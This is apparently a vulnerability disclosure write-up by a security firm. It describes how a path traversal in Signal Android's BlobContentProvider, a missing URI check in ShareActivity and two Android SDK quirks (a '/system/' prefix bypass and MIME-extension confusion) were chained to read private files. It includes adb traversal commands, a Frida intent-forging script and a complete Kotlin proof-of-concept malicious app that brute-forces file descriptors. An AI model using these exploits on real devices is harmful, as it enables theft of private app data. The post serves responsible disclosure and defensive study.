Security

From Signal to the Android SDK: Chaining Path Traversal, Mimetype Confusion, Security Check Bypass and File Descriptor Bruteforce for Arbitrary File Access

This technical analysis reveals how sophisticated attack chains—combining path traversal, symbolic link manipulation, and Android SDK quirks—can breach Signal Android's defenses to extract sensitive internal files, despite its legendary encryption remaining intact. While Signal patched these vulnerabilities within days, the discoveries offer crucial lessons about how seemingly minor bugs can be chained into powerful exploits, and why even the best security architecture needs multiple layers of defense

Mon 11 August 2025

Introduction

In the wake of the TeleMessage breach, a Signal fork with misleading security claims, we at Ostorlab decided to review the security of Signal itself—an application renowned for its robust security practices. Using our automated vulnerability scanning platform, we uncovered two weaknesses in the Signal Android up to version 7.44.1 paired with two vulnerabilities in the Android SDK that could allow access to internal files, including access to encrypted databases, subset of plaintext contacts, firebase notification tokens and webview cache and cookie jar.

Before diving into the technical details, we want to highlight Signal's exceptional response to our disclosure. The Signal security team acknowledged our findings within just 3 hours and had fixes ready within days—a stellar example of how security vulnerabilities should be handled. This responsiveness demonstrates Signal's commitment to user security and sets a gold standard for the industry.

This article provides a deep technical dive into these findings.

Path Traversal in BlobContentProvider

  • Type: Path Traversal via URL-decoded segments
  • Component: BlobContentProvider (BlobProvider.java:188)
  • Impact: Read access to internal application files
  • Status: Fixed

Our automated static analysis identified a path traversal vulnerability through taint propagation to the File <init> method in org.thoughtcrime.securesms.providers.BlobContentProvider.

The BlobContentProvider is declared in AndroidManifest.xml with android:exported="false" and android:grantUriPermissions="true".

   <provider android:name=".providers.BlobContentProvider"
              android:authorities="${applicationId}.blob"
              android:exported="false"
              android:grantUriPermissions="true" />

A path traversal vulnerability exists in
org.thoughtcrime.securesms.providers.BlobContentProvider (specifically BlobProvider.java:188). This flaw allows manipulation of file paths when constructing internal blob file names.

Access to the BlobContentProvider's openFile method via a Uri. This typically requires elevated privileges (e.g., adb shell access) or a scenario where grantUriPermissions is granted for a manipulable URI.

The BlobContentProvider implements openFile (BlobContentProvider.java:34) as a handler for read requests. This openFile function takes a user-controlled Uri as an argument:

 public ParcelFileDescriptor openFile(@NonNull Uri uri, 
                                      @NonNull String mode) 
                                      throws FileNotFoundException

The uri argument is subsequently passed to BlobProvider.getInstance().getStream (BlobContentProvider.java:38):

InputStream stream = BlobProvider.getInstance().getStream(AppDependencies.getApplication(), uri))

Which then calls getBlobRepresentation (BlobProvider.java:161):

 return 
  getBlobRepresentation(
  context,
  uri,
  ByteArrayMediaDataSource::new,
  file->EncryptedMediaDataSource.createForDiskBlob(getAttachmentSecret(context),file));

At BlobProvider.java:188, the ID_PATH_SEGMENT (5th segment) of the uri argument is extracted. This extracted string is used to build the filename, which is then combined with a directory path and passed to the File constructor:

        String id        = uri.getPathSegments().get(ID_PATH_SEGMENT);
        String directory = getDirectory(storageType);
        File   file      = new File(getOrCreateDirectory(context, directory), buildFileName(id));

Uri.getPathSegments() method (excerpt shown below) performs URL decoding on each path segment. This means that URL-encoded path traversal sequences (e.g., %2F for /) are decoded into their literal characters before the File object is constructed, allowing the traversal to occur.

// Excerpt from Android SDK's Uri.java (similar to getPathSegments implementation)
/**
 * Gets the individual path segments. Parses them if necessary.
 *
 * @return parsed path segments or null if this isn't a hierarchical
 * URI
 */
PathSegments getPathSegments() {
    if (pathSegments != null) {
        return pathSegments;
    }
    String path = getEncoded();
    if (path == null) {
        return pathSegments = PathSegments.EMPTY;
    }
    PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
    int previous = 0;
    int current;
    while ((current = path.indexOf('/', previous)) > -1) {
              if (previous < current) {
            String decodedSegment = decode(path.substring(previous, current));             segmentBuilder.add(decodedSegment);
        }
        previous = current + 1;
    }
       if (previous < path.length()) {
        segmentBuilder.add(decode(path.substring(previous)));    }
    return pathSegments = segmentBuilder.build();
}

In the getPathSegments implementation, no sanitization for path traversal sequences (../ or URL-encoded equivalents) is performed on the extracted id after decoding and before file path construction.

The following adb shell content read command can be used to trigger the path traversal:

adb shell content read --uri "content://org.thoughtcrime.securesms.blob
                             /blob/single-session-disk/text_plain/test.txt
                             /1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml"

Hooking the File constructor reveals the path traversal payload being processed:

Attaching...                                                            
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::4020 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/
test.txt/1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml
[+] Mode: r
[+] Stack trace:
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
...
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../shared_prefs/org.thoughtcrime.securesms_preferences.xml.blob (1)
[+] Stack trace:
    java.io.File.<init>(Native Method)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
[!] Exception in openFile: Error: java.io.FileNotFoundException

As shown, the path traversal payload ../../ is used by the File constructor. A direct reading of the targeted file is prevented because the buildFileName function appends a .blob extension to the file name (org.thoughtcrime.securesms_preferences.xml.blob), causing a FileNotFoundException unless the target file explicitly has this extension.

To potentially circumvent this filename processing, a symbolic link could be created to point to the desired file. The name of this symbolic link (without a .blob extension) would then be passed to the Content Provider. This would effectively bypass the .blob extension check, as the File constructor would receive the name of the symlink, which then resolves to the target file:

Creating a symlink named toto.blob in a writable, accessible directory (like /data/local/tmp) that points to a sensitive target file within Signal's private data (targets.xml):

806290 lrwxrwxrwx 1 root  root         98 2025-05-19 19:25 toto.blob -> /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml

adb shell content read --uri "content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto"

Hooking the File constructor reveals the path traversal payload being processed:

Attaching...                                                            
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::27976 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto
[+] Mode: r
[+] Stack trace:
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)

[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms
[+] Child name: app_single_session_blobs
[+] Stack trace:
    java.io.File.<init>(Native Method)
    android.app.ContextImpl.makeFilename(ContextImpl.java:2861)
    android.app.ContextImpl.getDir(ContextImpl.java:2558)
    android.content.ContextWrapper.getDir(ContextWrapper.java:318)
    org.thoughtcrime.securesms.providers.BlobProvider.getOrCreateDirectory(BlobProvider.java:452)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)

[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../../../../../../../../tmp/toto.blob
[+] Stack trace:
    java.io.File.<init>(Native Method)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
[+] openFile returned successfully

Any file read through this mechanism, even if it's a clear-text file, will be passed through a decryption routine. Consequently, if a cleartext file were successfully read, its content would be decrypted, resulting in garbled or unintelligible output.

The output is however decrypted with the first bytes of the file. Reading files with predictable headers can still be retrieved. This vulnerability can be chained with the File Read Vulnerability (next section) to access clear text files.

Signal patched the issue by encoding / and other special characters:

  private static @Nullable String getId(@NonNull Uri uri) {
    if (isAuthority(uri)) {
      return Uri.encode(uri.getPathSegments().get(ID_PATH_SEGMENT));
    }
    return null;
  }
@@ -422,7 +422,7 @@ public static boolean isAuthority(@NonNull Uri uri) {
  }

  private static @NonNull String buildFileName(@NonNull String id) {
    return Uri.encode(id) + ".blob";
  }

  private static @NonNull String getDirectory(@NonNull StorageType storageType) {

The use of Uri.encode() ensures that / characters remain encoded as %2F, preventing path traversal attacks.

File Read Vulnerability in ShareActivity

  • Type: Arbitrary file read through intent manipulation
  • Component: ShareActivity
  • Impact: Exfiltration of private application files
  • Status: Fixed
   <activity android:name=".sharing.v2.ShareActivity"
              android:theme="@style/Theme.Signal.DayNight.NoActionBar"
              android:exported="true"
              android:excludeFromRecents="true"
              android:taskAffinity=""
              android:windowSoftInputMode="stateHidden"
              android:configChanges="touchscreen|keyboard|keyboardHidden|orientation|screenLayout|screenSize">
        <intent-filter>
            <action android:name="android.intent.action.SEND" />
            <category android:name="android.intent.category.DEFAULT"/>
            <data android:mimeType="audio/*" />
            <data android:mimeType="image/*" />
            <data android:mimeType="text/plain" />
            <data android:mimeType="video/*" />
            <data android:mimeType="application/*"/>
            <data android:mimeType="text/*"/>
            <data android:mimeType="*/*"/>
        </intent-filter>

        <intent-filter>
            <action android:name="android.intent.action.SEND_MULTIPLE" />
            <category android:name="android.intent.category.DEFAULT"/>
            <data android:mimeType="image/*" />
            <data android:mimeType="video/*" />
        </intent-filter>

      <meta-data
          android:name="android.service.chooser.chooser_target_service"
          android:value="androidx.sharetarget.ChooserTargetServiceCompat"
          tools:targetApi="23" />

    </activity>

Upon receiving an intent, the onCreate callback (ShareActivity.kt:84) calls getUnresolvedShareData (ShareActivity.kt:87) to validate and process the incoming intent's data.

The getUnresolvedShareData method (ShareActivity.kt) handles intents differently based on their action and extras (e.g., ACTION_SEND_MULTIPLE with EXTRA_TEXT at line 198, ACTION_SEND_MULTIPLE with EXTRA_STREAM at line 213, etc.). The intent content is eventually encapsulated in one of the UnresolvedShareData sealed classes (UnresolvedShareData.kt):

 sealed class UnresolvedShareData {
  data class ExternalMultiShare(val uris: List<Uri>) : UnresolvedShareData()
  data class ExternalSingleShare(val uri: Uri, 
                                 val mimeType: String?, 
                                 val text: CharSequence?) : UnresolvedShareData()
  data class ExternalPrimitiveShare(val text: CharSequence) : UnresolvedShareData()
}

These are then processed by a resolve function in ShareRepository.kt:25:

fun resolve(unresolvedShareData: UnresolvedShareData): Single<out ResolvedShareData> {
 return when (unresolvedShareData) {
   is UnresolvedShareData.ExternalMultiShare -> Single.fromCallable { resolve(unresolvedShareData) }
   is UnresolvedShareData.ExternalSingleShare -> Single.fromCallable { resolve(unresolvedShareData) }
  ...
    }.subscribeOn(Schedulers.io())
  }

For UnresolvedShareData.ExternalSingleShare intents, a crucial security check is performed via UriUtil.isValidExternalUri (UriUtil.kt:21):

private fun resolve(multiShareExternal: UnresolvedShareData.ExternalSingleShare): ResolvedShareData {
    if (!UriUtil.isValidExternalUri(appContext, multiShareExternal.uri)) {
      return ResolvedShareData.Failure
    }
}
// UriUtil.kt:21
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
    if (ContentResolver.SCHEME_FILE == uri.scheme) {
      try {
        val file = File(uri.path)

        return file.canonicalPath == file.path &&
          !file.canonicalPath.startsWith("/data") &&
          !file.canonicalPath.contains(context.packageName)
      } catch (e: IOException) {
        return false
      }
    } else {
      return true
    }
  }

This isValidExternalUri function correctly prevents file:// URIs from pointing to internal application data directories (/data) or the app's own package name.

However, for UnresolvedShareData.ExternalMultiShare intents (ShareRepository.kt, resolve for ExternalMultiShare), this critical isValidExternalUri check is missing. The only conditions for handling are that the intent must have a mimeType matching an image or video (MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)).

This allows a malicious application to provide a file:// URI pointing to any file within Signal's private data directory. When such an intent is processed, Signal's internal media handling routines will read the content of the specified private file and subsequently copy it into its own internal, private blob storage (app_single_session_blobs).

The following Frida script demonstrates how a malicious application can forge and send an ACTION_SEND_MULTIPLE intent to ShareActivity, forcing Signal to read a sensitive file (targets.xml, which contains victim contact names) from its private data directory:

Java.perform(function () {
    try {
        var Intent = Java.use('android.content.Intent');

        var intent = Intent.$new();


        intent.setAction(Intent.ACTION_SEND_MULTIPLE.value);
        intent.setType("image/png");


        var Uri = Java.use('android.net.Uri');
        var uri1 = Uri.parse("file://data/data/org.thoughtcrime.securesms"+
                            "/files/ShortcutInfoCompatSaver_share_targets/targets.xml"); 
        var uri2 = Uri.parse("file://data/tmp/file.png"); 
        var ArrayList = Java.use('java.util.ArrayList');
        var uriList = ArrayList.$new();
        uriList.add(uri1);
        uriList.add(uri2);


        intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM.value, uriList);

        var ComponentName = Java.use('android.content.ComponentName');
        var component = ComponentName.$new(
            "org.thoughtcrime.securesms",
            "org.thoughtcrime.securesms.sharing.v2.ShareActivity"
        );
        intent.setComponent(component);

        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value);

        var ActivityThread = Java.use('android.app.ActivityThread');
        var context = ActivityThread.currentApplication().getApplicationContext();
        context.startActivity(intent);
        console.log("Intent sent successfully!");
    } catch (e) {
        console.error("Error sending intent: " + e);
    }
});

Upon successfully sending the crafted intent, Signal reads the content of targets.xml and creates a new blob file within its private storage, typically in app_single_session_blobs. The existence of this new blob confirms the internal arbitrary file read:

find . -name *blob | xargs ls -ali                                                                                                   
./app_single_session_blobs/ad7843bd-5377-46ea-9a85-fe78d9f86050.blob
./app_single_session_blobs/e9dfcb56-c005-4150-bbf3-ca70960c05ab.blob

The newly created blob files are stored in an encrypted format within Signal's private data directory. While the ShareActivity facilitates an internal read and copy, the malicious application does not gain direct access to the cleartext content. To retrieve the content of these blobs, a separate read operation via the BlobContentProvider would be required.

To fully exploit the file read, three issues need to be addressed, a (1) security exception enforced by the Android SDK, (2) a mime type validation enforced by Signal using the Android SDK, and (3) guessing random file name using UUID 4.

All of these are however bypassable due to two new vulnerabilities discovered in the Android SDK and abusing the path traversal vulnerability to bypass file name randomness. The Android SDK issues won’t be fixed due to backward compatibility and technical feasibility challenges.

File URI Security Exception and File Type Confusion


The premise of the previous bug is being able to pass file:// URI from a malicious application that can masquerade as any file type while still referencing any file type.

Sending the following intent from a malicious application triggers the following error:

   fun triggerVulnerability(): Boolean {
        val intent = Intent().apply {
            action = Intent.ACTION_SEND_MULTIPLE
            type = "image/png"
        };

        var uris = ArrayList<Uri>()
        var uri1 = Uri.parse("file:///data/data/org.thoughtcrime.securesms/" +
                "shared_prefs/org.thoughtcrime.securesms_preferences.xml");
        uris.add(uri1);

        intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris);
        intent.putExtra("android.intent.extra.shortcut.ID", "0");

        startActivity(intent)
        return true
    }

The URI is blocked by Android reporting a FileUriExposedException.

The check is however trivially bypassable due to a start with system check edge case, hence the following URL allows to trigger passing file://system/../data/ scheme and bypassing the security exception.

https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/android/net/Uri.java;l=2399?q=checkFIleUriExposed

   public void checkFileUriExposed(String location) {
        if ("file".equals(getScheme())
                && (getPath() != null) && !getPath().startsWith("/system/")) {
            StrictMode.onFileUriExposed(this, location);
        }
    }

Passing this URI is able to reach Signal, but won’t pass a check on the type of URI due to a check on the mime type matching image or a video

ResolvedShareData {
    val mimeTypes: Map<Uri, String> = externalMultiShare.urisAdd commentMore actions
      .filter { UriUtil.isValidExternalUri(appContext, it) }
      .associateWith { uri -> getMimeType(appContext, uri, null) }
      .filterValues {
        MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
      }

The check is using MediaTypeMap method to get the file extension from URL

https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/android/webkit/MimeTypeMap.java;l=45?q=MimeTypeMap

   public static String getFileExtensionFromUrl(String url) {
        if (!TextUtils.isEmpty(url)) {
            int fragment = url.lastIndexOf('#');
            if (fragment > 0) {
                url = url.substring(0, fragment);
            }

            int query = url.lastIndexOf('?');
            if (query > 0) {
                url = url.substring(0, query);
            }

            int filenamePos = url.lastIndexOf('/');
            String filename =
                0 <= filenamePos ? url.substring(filenamePos + 1) : url;

            // if the filename contains special characters, we don't
            // consider it valid for our matching purposes:
            if (!filename.isEmpty() &&
                Pattern.matches("[a-zA-Z_0-9\\.\\-\\(\\)\\%]+", filename)) {
                int dotPos = filename.lastIndexOf('.');
                if (0 <= dotPos) {
                    return filename.substring(dotPos + 1);
                }
            }
        }

        return "";
    }

The implementation is however insecure and is vulnerable allowing any file extension to masquerade as any other extension. The issue stems from the use of lastIndexOf ? and / causing the method to process /a.png instead of toto.xml in the example below:

file://folder/toto.xml?/a.png?

Chaining these two issues in the Android SDK allows to pass any file:// URI and access any internal file of Signal of any type. Next challenge is UUID4 name guessing.

File Name Randomness

The ShareActivity creates files with random names using unpredictable UUID 4. In order to access them from the content provider would require knowing the blob id.

This can however be bypassed by chaining the path traversal and access file descriptors directly. All files once opened return a file descriptor number. This is typically a small incremental number that can easily be brute forced. Additionally the file descriptor will have a symbolic link to the open file descriptor present at the /proc/<pid>/fd/<fd_number>.

The file descriptor numbers are easily predictable as can be seen from the trace below showing the blob opened with the file descriptor 251 (0xfb).

We can also confirm the creation of the file descriptor by watching the fd folder as seen in the screenshot below:

It is therefore possible for a malicious application to trigger repeated intent with the FLAG_ACTIVITY_NEW_TASK flag to ensure multiple activities are created. At the same time the malicious app will attempt to read all symbolic links until it gets a match, below is a sample code to achieve this:

package co.ostorlab.malsignal

import android.content.Intent
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.system.Os
import android.util.Log
import androidx.activity.ComponentActivity
import java.io.File

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        triggerSecurityException()
    }

    private fun createSymlinks() {
        // Create 100 symbolic links from number.blob to /proc/self/fd/number
        for (i in 0..99) {
            val symlinkFile = File("/data/data/co.ostorlab.malsignal", "$i.blob")
            // Delete if it exists, to recreate it.
            if (symlinkFile.exists())
                symlinkFile.delete()


            Os.symlink("/proc/self/fd/$i", symlinkFile.absolutePath)
            symlinkFile.setReadable(true, false)
            symlinkFile.setWritable(true, false)
            Log.d("PoC", "Created symlink: ${symlinkFile.absolutePath} -> /proc/self/fd/$i")
        }
    }

    fun triggerSecurityException(): Boolean {
        createSymlinks()

        // Thread to continuously send intents to Signal to force it to open its preferences file
        Thread {
            while (true) {
                val intent = Intent().apply {
                    action = Intent.ACTION_SEND_MULTIPLE
                    type = "image/png"
                    setPackage("org.thoughtcrime.securesms")
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                }

                val uris = ArrayList<Uri>()
                val uri1 = Uri.parse("file:///system/../data/data/org.thoughtcrime.securesms/shared_prefs/org.thoughtcrime.securesms_preferences.xml?/a.png?")
                uris.add(uri1)

                intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris)
                intent.putExtra("android.intent.extra.shortcut.ID", "1");

                try {
                    startActivity(intent)
                } catch (e: Exception) {
                    Log.e("PoC", "Error starting activity for intent sending thread", e)
                }
            }
        }.start()

        // Thread to continuously query Signal's BlobContentProvider to race and read the FD
        Thread {
            val signalBlobProviderAuthority = "org.thoughtcrime.securesms.blob"
            // Path traversal to get from Signal's blob dir to our cache dir.
            // Assumes blob dir is 2 levels deep, e.g., /data/data/pkg/files/blobs
            val traversalPath = "blob/single-session-disk/text_plain/test.txt/1024/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fco.ostorlab.malsignal"

            while (true) {
                for (i in 0..300) {
                    val maliciousUri = Uri.parse("content://$signalBlobProviderAuthority/$traversalPath$i")
                    try {
                        contentResolver.openInputStream(maliciousUri)?.use { inputStream ->
                            val content = inputStream.bufferedReader().readText()
                            if (content.isNotBlank()) {
                                Log.d("PoC", "SUCCESS! Leaked content from FD $i:\n$content")
                            }
                        }
                    } catch (e: Exception) {
                        // This is expected to fail most of the time as we are racing.
                    }
                }
            }
        }.start()

        return true
    }
}

Bonus: Resolution and TOCTOU Analysis

Signal addressed the ShareActivity vulnerability by implementing comprehensive URI validation. However, the fix contains a theoretical Time-of-Check Time-of-Use (TOCTOU) vulnerability that, while academically interesting, cannot be exploited in practice due to Android's filesystem constraints.

Signal added validation through the isValidExternalUri method:

/**
 * Ensures that an external URI is valid and doesn't contain any references to internal files or
 * any other trickiness.
 */
@JvmStatic
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
    if (ContentResolver.SCHEME_FILE == uri.scheme) {
        try {
            val file = File(uri.path)
            return file.canonicalPath == file.path &&
                !file.canonicalPath.startsWith("/data") &&
                !file.canonicalPath.contains(context.packageName)
        } catch (e: IOException) {
            return false
        }
    } else {
        return true
    }
}

This validation is applied to all URIs in the ShareActivity:

private fun resolve(externalMultiShare: UnresolvedShareData.ExternalMultiShare): ResolvedShareData {
    val mimeTypes: Map<Uri, String> = externalMultiShare.uris
        .filter { UriUtil.isValidExternalUri(appContext, it) }  // Validation happens here
        .associateWith { uri -> getMimeType(appContext, uri, null) }
        .filterValues {
            MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
        }
    // ... rest of processing
}

The validation performs three critical checks for file:// URIs:

  1. Canonical Path Check: file.canonicalPath == file.path
  2. Prevents symlink traversal by ensuring the resolved path matches the original
  3. Blocks any indirection through symbolic links

  4. Data Directory Block: !file.canonicalPath.startsWith("/data")

  5. Prevents access to any app's private data
  6. Blocks the entire /data partition where sensitive files reside

  7. Package Name Check: !file.canonicalPath.contains(context.packageName)

  8. Additional defense against accessing Signal's files
  9. Catches edge cases where files might exist outside /data

A TOCTOU vulnerability exists because of the time gap between validation and actual file usage:

Time T1: isValidExternalUri() checks the file - Reads canonical path - Validates it's safe - Returns true

Time T2: ShareActivity processes the file - Opens and reads the file - Copies to blob storage

  1. Attacker provides a legitimate file path (e.g., /sdcard/innocent.jpg)
  2. Validation passes at T1
  3. Between T1 and T2, attacker replaces the file with a symlink to /data/data/org.thoughtcrime.securesms/private_file
  4. ShareActivity reads the private file at T2

Android's filesystem architecture prevents this TOCTOU exploitation due to the following reasons:

1. Limited Write Access:

/data/        ← Only writable by apps in their own directories
/sdcard/      ← Writable but doesn't support symlinks
/system/      ← Read-only
/vendor/      ← Read-only
/tmp/         ← Maps to /data/

2. External Storage Constraints:

  • Android's FUSE filesystem for external storage (/sdcard) explicitly blocks symlink creation
  • Attempting to create a symlink fails with Operation not permitted:
vbox86p:/data/data/org.thoughtcrime.securesms # ln -s /data/local/tmp/target /sdcard/link
ln: cannot create symbolic link from '/data/local/tmp/target' to '/sdcard/link': Function not implemented

4. Theoretical Bypass Requirements: For this TOCTOU to be exploitable, an attacker would need:

  • Write access to a directory outside /data that supports symlinks
  • Ability to create/modify files in that directory

Putting it all together

Below is a schema that shows how the different issues in both Signal and the Android SDK can be chained to read file in the Signal application:

  1. Brute force intents to the ShareActivity to trigger reading internal files
  2. The internal file is encrypted and added to the BlobProvider
  3. BlobProvider generates a random UUID file name and adds it to the internal database
  4. The malicious app brute force and exploit the path traversal targeting the symbolic links pointing to the file descriptors
  5. The BlobProvider will point to symbolic file, read the file description pointing to the actual file
  6. The BlobProvider will decrypt and return the file content in cleartext as the key is stored in the header of the file
  7. The file is finally returned to the application in cleartext

Since the file descriptor is short lived, this approach must be done in a loop until we are able to leak the target file.

Implications and Security Lessons

Through these vulnerabilities, an attacker could potentially access Signal's internal file structure. Our analysis reveals both the strength of Signal's encryption architecture and areas where sensitive data remains exposed. Here's a detailed breakdown of what
we discovered:

1. Shared Preferences Directory (/data/data/org.thoughtcrime.securesms/shared_prefs/)

The vulnerabilities provided access to several XML preference files:

FirebaseHeartBeatW0RFRkFVTFRd+MTozMTIzMzQ3NTQyMDY6YW5kcm9pZDphOTI5N2IxNTI4NzlmMjY2.xml
SecureSMS-Preferences.xml
WebViewChromiumPrefs.xml
com.google.firebase.messaging.xml
org.thoughtcrime.securesms_preferences.xml

2. Encrypted Encryption Keys (org.thoughtcrime.securesms_preferences.xml)

This file contains Signal's most sensitive configuration data encrypted with shared key stored in the Keystore:

<!-- Database Encryption Key (encrypted) -->
<string name="pref_database_encrypted_secret">{
    "data":"2svYD9iQG6OfHED1UaOwXE5LJxKYQF8cdOPKuO8qFSSzJjpbSQFPIek6lD6IQdgn",
    "iv":"NjYUlRR5zFafr+/O"
}</string>

<!-- Attachment Encryption Key (encrypted) -->
<string name="pref_attachment_encrypted_secret">{
    "data":"F3K0UcrC8w0tr63tV4W5YF4q/X7MtXXdu18bVg8uC3HCCEAIzwQnYrZcY82UMRkacixOojMjyFaNURV29yjuVeMSnhVQx8JjRKPOF08wUBMy3GbTOaNXPsbBxJhzQL7O1/3UniTIE3wf5GNa8PPW4KOPwtlqx8ye",
    "iv":"4poKjqQ+7uIQvNAj"
}</string>

<!-- Backup Passphrase (encrypted) -->
<string name="pref_encrypted_backup_passphrase">{
    "data":"1SPumdNl5WDvtkUhF3ELScZwItO3s/aWjr8IolTa3eFvioUvDIeAMNiXkvFhyqWPuAH4",
    "iv":"5BGyF7jmtjOA5c1x"
}</string>

3. Metadata and Configuration

The preferences file also exposes various metadata:

  • Installation timestamp and version
  • User preferences (read receipts, typing indicators)
  • Backup schedule timestamps
  • Key rotation timestamps
  • Migration version tracking

4. Cleartext Files

Several files store unencrypted data:

  • XML Targets file leaks contact information for sharing shortcuts
  • WebViewChromiumPrefs.xml: WebView configuration and state
  • Firebase configuration: Push notification tokens and configuration
  • Various cache files: Temporary data and user preferences

Open contacts at /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml:

<?xml version='1.0' encoding='UTF_8' standalone='yes' ?>
<share_targets>
<target id="2" short_label="Note to Self" rank="1" long_label="Note to Self" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="4" short_label="Toto" rank="2" long_label="Toto TopBar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="20" short_label="Foo" rank="0" long_label="Foo Bar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
</share_targets>

Signal implements multi-layer encryption. The first layer is database encryption using SQLCipher:

private static @NonNull DatabaseSecret getOrCreate(@NonNull Context context) {
    String unencryptedSecret = TextSecurePreferences.getDatabaseUnencryptedSecret(context);
    String encryptedSecret = TextSecurePreferences.getDatabaseEncryptedSecret(context);

    if (unencryptedSecret != null) 
        return getUnencryptedDatabaseSecret(context, unencryptedSecret);
    else if (encryptedSecret != null) 
        return getEncryptedDatabaseSecret(encryptedSecret);
    else 
        return createAndStoreDatabaseSecret(context);
}

The second layer is done using Android Keystore:

private static @NonNull DatabaseSecret createAndStoreDatabaseSecret(@NonNull Context context) {
    SecureRandom random = new SecureRandom();
    byte[] secret = new byte[32];
